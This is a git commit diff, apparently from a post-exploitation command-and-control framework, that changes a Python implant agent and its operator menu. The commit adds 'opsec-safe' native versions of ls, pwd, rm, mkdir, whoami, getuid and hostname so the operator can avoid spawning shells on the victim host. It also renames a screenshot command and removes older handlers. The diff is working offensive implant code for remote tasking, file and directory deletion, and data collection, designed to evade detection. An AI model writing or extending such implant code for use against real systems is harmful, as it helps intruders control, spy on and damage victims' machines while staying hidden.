Added opsec-safe aliases for ls, pwd, rm, mkdir, whoami, getuid. Renamed sc command to osx_screenshot
parent
00deb6e005
commit
aecdec6bd7
|
@ -17,6 +17,14 @@ import zipfile
|
||||||
import io
|
import io
|
||||||
import imp
|
import imp
|
||||||
import marshal
|
import marshal
|
||||||
|
import re
|
||||||
|
import shutil
|
||||||
|
import pwd
|
||||||
|
import socket
|
||||||
|
import math
|
||||||
|
import stat
|
||||||
|
import grp
|
||||||
|
from stat import S_ISREG, ST_CTIME, ST_MODE
|
||||||
from os.path import expanduser
|
from os.path import expanduser
|
||||||
from StringIO import StringIO
|
from StringIO import StringIO
|
||||||
from threading import Thread
|
from threading import Thread
|
||||||
|
@ -258,9 +266,16 @@ def process_packet(packetType, data, resultID):
|
||||||
|
|
||||||
elif packetType == 40:
|
elif packetType == 40:
|
||||||
# run a command
|
# run a command
|
||||||
|
parts = data.split(" ")
|
||||||
|
|
||||||
|
if len(parts) == 1:
|
||||||
|
data = parts[0]
|
||||||
resultData = str(run_command(data))
|
resultData = str(run_command(data))
|
||||||
#Not sure why the line below is there.....
|
return build_response_packet(40, resultData + "\r\n ..Command execution completed.", resultID)
|
||||||
#e = build_response_packet(40, resultData, resultID)
|
else:
|
||||||
|
cmd = parts[0]
|
||||||
|
cmdargs = ' '.join(parts[1:len(parts)])
|
||||||
|
resultData = str(run_command(cmd, cmdargs=cmdargs))
|
||||||
return build_response_packet(40, resultData + "\r\n ..Command execution completed.", resultID)
|
return build_response_packet(40, resultData + "\r\n ..Command execution completed.", resultID)
|
||||||
|
|
||||||
elif packetType == 41:
|
elif packetType == 41:
|
||||||
|
@ -853,10 +868,91 @@ def data_webserver(data, ip, port, serveCount):
|
||||||
httpServer.server_close()
|
httpServer.server_close()
|
||||||
return
|
return
|
||||||
|
|
||||||
|
def permissions_to_unix_name(st_mode):
|
||||||
|
permstr = ''
|
||||||
|
usertypes = ['USR', 'GRP', 'OTH']
|
||||||
|
for usertype in usertypes:
|
||||||
|
perm_types = ['R', 'W', 'X']
|
||||||
|
for permtype in perm_types:
|
||||||
|
perm = getattr(stat, 'S_I%s%s' % (permtype, usertype))
|
||||||
|
if st_mode & perm:
|
||||||
|
permstr += permtype.lower()
|
||||||
|
else:
|
||||||
|
permstr += '-'
|
||||||
|
return permstr
|
||||||
|
|
||||||
|
def directory_listing(path):
|
||||||
|
# directory listings in python
|
||||||
|
# https://www.opentechguides.com/how-to/article/python/78/directory-file-list.html
|
||||||
|
|
||||||
|
res = ""
|
||||||
|
for fn in os.listdir(path):
|
||||||
|
fstat = os.stat(os.path.join(path, fn))
|
||||||
|
permstr = permissions_to_unix_name(fstat[0])
|
||||||
|
|
||||||
|
if os.path.isdir(fn):
|
||||||
|
permstr = "d{}".format(permstr)
|
||||||
|
else:
|
||||||
|
permstr = "-{}".format(permstr)
|
||||||
|
|
||||||
|
user = pwd.getpwuid(fstat.st_uid)[0]
|
||||||
|
group = grp.getgrgid(fstat.st_gid)[0]
|
||||||
|
|
||||||
|
# Convert file size to MB, KB or Bytes
|
||||||
|
if (fstat.st_size > 1024 * 1024):
|
||||||
|
fsize = math.ceil(fstat.st_size / (1024 * 1024))
|
||||||
|
unit = "MB"
|
||||||
|
elif (fstat.st_size > 1024):
|
||||||
|
fsize = math.ceil(fstat.st_size / 1024)
|
||||||
|
unit = "KB"
|
||||||
|
else:
|
||||||
|
fsize = fstat.st_size
|
||||||
|
unit = "B"
|
||||||
|
|
||||||
|
mtime = time.strftime("%X %x", time.gmtime(fstat.st_mtime))
|
||||||
|
|
||||||
|
res += '{} {} {} {:18s} {:f} {:2s} {:15.15s}\n'.format(permstr,user,group,mtime,fsize,unit,fn)
|
||||||
|
|
||||||
|
return res
|
||||||
|
|
||||||
# additional implementation methods
|
# additional implementation methods
|
||||||
def run_command(command):
|
def run_command(command, cmdargs=None):
|
||||||
p = subprocess.Popen(command, stdin=None, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True)
|
|
||||||
return p.communicate()[0].strip()
|
if re.compile("(ls|dir)").match(command):
|
||||||
|
if cmdargs == None or not os.path.exists(cmdargs):
|
||||||
|
cmdargs = '.'
|
||||||
|
|
||||||
|
return directory_listing(cmdargs)
|
||||||
|
|
||||||
|
elif re.compile("pwd").match(command):
|
||||||
|
return str(os.getcwd())
|
||||||
|
elif re.compile("rm").match(command):
|
||||||
|
if cmdargs == None:
|
||||||
|
return "please provide a file or directory"
|
||||||
|
|
||||||
|
if os.path.exists(cmdargs):
|
||||||
|
if os.path.isfile(cmdargs):
|
||||||
|
os.remove(cmdargs)
|
||||||
|
return "done."
|
||||||
|
elif os.path.isdir(cmdargs):
|
||||||
|
shutil.rmtree(cmdargs)
|
||||||
|
return "done."
|
||||||
|
else:
|
||||||
|
return "unsupported file type"
|
||||||
|
else:
|
||||||
|
return "specified file/directory does not exist"
|
||||||
|
elif re.compile("mkdir").match(command):
|
||||||
|
if cmdargs == None:
|
||||||
|
return "please provide a directory"
|
||||||
|
|
||||||
|
os.mkdir(cmdargs)
|
||||||
|
return "Created directory: {}".format(cmdargs)
|
||||||
|
|
||||||
|
elif re.compile("(whoami|getuid)").match(command):
|
||||||
|
return pwd.getpwuid(os.getuid())[0]
|
||||||
|
|
||||||
|
elif re.compile("hostname").match(command):
|
||||||
|
return str(socket.gethostname())
|
||||||
|
|
||||||
def get_file_part(filePath, offset=0, chunkSize=512000, base64=True):
|
def get_file_part(filePath, offset=0, chunkSize=512000, base64=True):
|
||||||
|
|
||||||
|
|
|
@ -2501,6 +2501,9 @@ class PythonAgentMenu(SubMenu):
|
||||||
# listen for messages from this specific agent
|
# listen for messages from this specific agent
|
||||||
dispatcher.connect(self.handle_agent_event, sender=dispatcher.Any)
|
dispatcher.connect(self.handle_agent_event, sender=dispatcher.Any)
|
||||||
|
|
||||||
|
# agent commands that have opsec-safe alises in the agent code
|
||||||
|
self.agentCommands = ['ls', 'rm', 'pwd', 'mkdir', 'whoami', 'getuid', 'hostname']
|
||||||
|
|
||||||
# display any results from the database that were stored
|
# display any results from the database that were stored
|
||||||
# while we weren't interacting with the agent
|
# while we weren't interacting with the agent
|
||||||
results = self.mainMenu.agents.get_agent_results_db(self.sessionID)
|
results = self.mainMenu.agents.get_agent_results_db(self.sessionID)
|
||||||
|
@ -2528,7 +2531,21 @@ class PythonAgentMenu(SubMenu):
|
||||||
|
|
||||||
def default(self, line):
|
def default(self, line):
|
||||||
"Default handler"
|
"Default handler"
|
||||||
print helpers.color("[!] Command not recognized, use 'help' to see available commands")
|
line = line.strip()
|
||||||
|
parts = line.split(' ')
|
||||||
|
|
||||||
|
if len(parts) > 0:
|
||||||
|
# check if we got an agent command
|
||||||
|
if parts[0] in self.agentCommands:
|
||||||
|
shellcmd = ' '.join(parts)
|
||||||
|
# task the agent with this shell command
|
||||||
|
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SHELL", shellcmd)
|
||||||
|
# update the agent log
|
||||||
|
msg = "Tasked agent to run command " + line
|
||||||
|
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
|
||||||
|
else:
|
||||||
|
print helpers.color("[!] Command not recognized.")
|
||||||
|
print helpers.color("[*] Use 'help' or 'help agentcmds' to see available commands.")
|
||||||
|
|
||||||
def do_help(self, *args):
|
def do_help(self, *args):
|
||||||
"Displays the help menu or syntax for particular commands."
|
"Displays the help menu or syntax for particular commands."
|
||||||
|
@ -2875,7 +2892,7 @@ class PythonAgentMenu(SubMenu):
|
||||||
else:
|
else:
|
||||||
self.mainMenu.modules.search_modules(searchTerm)
|
self.mainMenu.modules.search_modules(searchTerm)
|
||||||
|
|
||||||
def do_sc(self, line):
|
def do_osx_screenshot(self, line):
|
||||||
"Use the python-mss module to take a screenshot, and save the image to the server. Not opsec safe"
|
"Use the python-mss module to take a screenshot, and save the image to the server. Not opsec safe"
|
||||||
|
|
||||||
if self.mainMenu.modules.modules['python/collection/osx/native_screenshot']:
|
if self.mainMenu.modules.modules['python/collection/osx/native_screenshot']:
|
||||||
|
@ -2890,24 +2907,6 @@ class PythonAgentMenu(SubMenu):
|
||||||
else:
|
else:
|
||||||
print helpers.color("[!] python/collection/osx/screenshot module not loaded")
|
print helpers.color("[!] python/collection/osx/screenshot module not loaded")
|
||||||
|
|
||||||
def do_ls_m(self, line):
|
|
||||||
"List directory contents at the specified path"
|
|
||||||
#http://stackoverflow.com/questions/17809386/how-to-convert-a-stat-output-to-a-unix-permissions-string
|
|
||||||
if self.mainMenu.modules.modules['python/management/osx/ls_m']:
|
|
||||||
module = self.mainMenu.modules.modules['python/management/osx/ls_m']
|
|
||||||
if line.strip() != '':
|
|
||||||
module.options['Path']['Value'] = line.strip()
|
|
||||||
|
|
||||||
module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name_db(self.sessionID)
|
|
||||||
module_menu = ModuleMenu(self.mainMenu, 'python/management/osx/ls_m')
|
|
||||||
msg = "[*] Tasked agent to list directory contents of: "+str(module.options['Path']['Value'])
|
|
||||||
print helpers.color(msg,color="green")
|
|
||||||
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
|
|
||||||
module_menu.do_execute("")
|
|
||||||
|
|
||||||
else:
|
|
||||||
print helpers.color("[!] python/management/osx/ls_m module not loaded")
|
|
||||||
|
|
||||||
def do_cat(self, line):
|
def do_cat(self, line):
|
||||||
"View the contents of a file"
|
"View the contents of a file"
|
||||||
|
|
||||||
|
@ -2930,22 +2929,6 @@ except Exception as e:
|
||||||
msg = "Tasked agent to cat file %s" % (line)
|
msg = "Tasked agent to cat file %s" % (line)
|
||||||
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
|
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
|
||||||
|
|
||||||
def do_pwd(self, line):
|
|
||||||
"Print working directory"
|
|
||||||
|
|
||||||
command = "cwd = os.getcwd(); print cwd"
|
|
||||||
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", command)
|
|
||||||
msg = "Tasked agent to print current working directory"
|
|
||||||
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
|
|
||||||
|
|
||||||
def do_whoami(self, line):
|
|
||||||
"Print the currently logged in user"
|
|
||||||
|
|
||||||
command = "from AppKit import NSUserName; print str(NSUserName())"
|
|
||||||
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", command)
|
|
||||||
msg = "Tasked agent to print currently logged on user"
|
|
||||||
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
|
|
||||||
|
|
||||||
def do_loadpymodule(self, line):
|
def do_loadpymodule(self, line):
|
||||||
"Import zip file containing a .py module or package with an __init__.py"
|
"Import zip file containing a .py module or package with an __init__.py"
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue